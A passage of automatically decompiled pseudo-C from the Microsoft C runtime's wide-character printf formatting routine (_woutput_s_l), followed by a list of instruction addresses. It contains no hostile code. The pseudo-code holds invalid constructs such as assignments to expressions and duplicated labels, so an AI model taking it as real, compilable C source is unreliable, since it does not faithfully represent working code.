														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															__eflags =  *(_t600 - 0x28);
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													__eflags =  *(_t600 - 0x28);
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x432078; // 0x55ff8b0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043203C))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E0042BCB0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x43eec8; // 0x4075b0
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041D040( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041B2D0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push(__eax);
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x43e478; // 0x72b0f098
															_push(__edx);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	__eax = E0041B2D0(__ebp - 0x40);
																	_push(__eax);
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x43e484; // 0x58d0f098
																	_push(__edx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43e480; // 0x5930f098
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
															do {
																L187:
																__eflags =  *(_t600 - 0x28);
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041B2D0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041B2D0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E00425270(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														__eflags =  *(_t600 - 0x28);
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E0042BCB0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x43eecc; // 0x4075a0
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x43eec8; // 0x4075b0
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041B2D0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004254B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															__eflags =  *(_t600 - 0x28);
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E0042BCB0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E0042BCD0(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E0042BCD0(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00427060( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004270E0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														__eflags =  *(_t600 - 0x28);
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041AAF0();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L0041A7C0(_t546))) = 0x16;
										E00419D60(_t546, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041B2A0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							__eflags =  *(_t600 - 0x45c);
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								__eflags =  *(_t600 - 0x4bc);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041AAF0();
									_t603 = _t603 + 0x14;
									__eflags = _t491 - 1;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								__eflags =  *(_t600 - 0x4bc);
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041B2A0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L0041A7C0(_t538))) = 0x16;
									E00419D60(_t538, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041B2A0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							__eflags =  *(_t600 - 0x45c) - 7;
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L0041A7C0(__ecx))) = 0x16;
						__eax = E00419D60(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041B2A0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E00422570(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					__eflags =  *(_t600 - 0x10) & 0x00000020;
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043172a
0x0043172a
0x0043172a
0x0043172a
0x0043172a
0x0043172a
0x0043172e
0x00431733
0x00431736
0x00431743
0x00000000
0x00000000
0x00431749
0x00431749
0x00431749
0x0043174b
0x00431759
0x0043174d
0x0043174d
0x0043174d
0x00431763
0x00431769
0x0043176f
0x00431776
0x00431778
0x0043177d
0x0043177f
0x00431784
0x00431789
0x0043178b
0x00431790
0x00431793
0x00431796
0x00431798
0x00431798
0x00431796
0x00431799
0x004317a0
0x004317e8
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00431ce4
0x00431ce7
0x00431cea
0x00431cef
0x00431cf4
0x00431d0b
0x00431d0e
0x00431d25
0x00431d28
0x00431d2f
0x00431d33
0x00431d33
0x00431d10
0x00431d15
0x00431d19
0x00431d19
0x00431cf6
0x00431cfb
0x00431cff
0x00431cff
0x00431cf4
0x00431d43
0x00431d4c
0x00431d4f
0x00431d65
0x00431d6a
0x00431d6a
0x00431d80
0x00431d85
0x00431d8b
0x00431d8e
0x00431d93
0x00431d96
0x00431dac
0x00431db1
0x00431db1
0x00431d96
0x00431db4
0x00431db8
0x00431e72
0x00431e85
0x00431e8a
0x00000000
0x00431dbe
0x00431dbe
0x00431dbe
0x00431dc2
0x00000000
0x00000000
0x00431dc8
0x00431dcb
0x00431dd4
0x00431dda
0x00431dda
0x00431de9
0x00431def
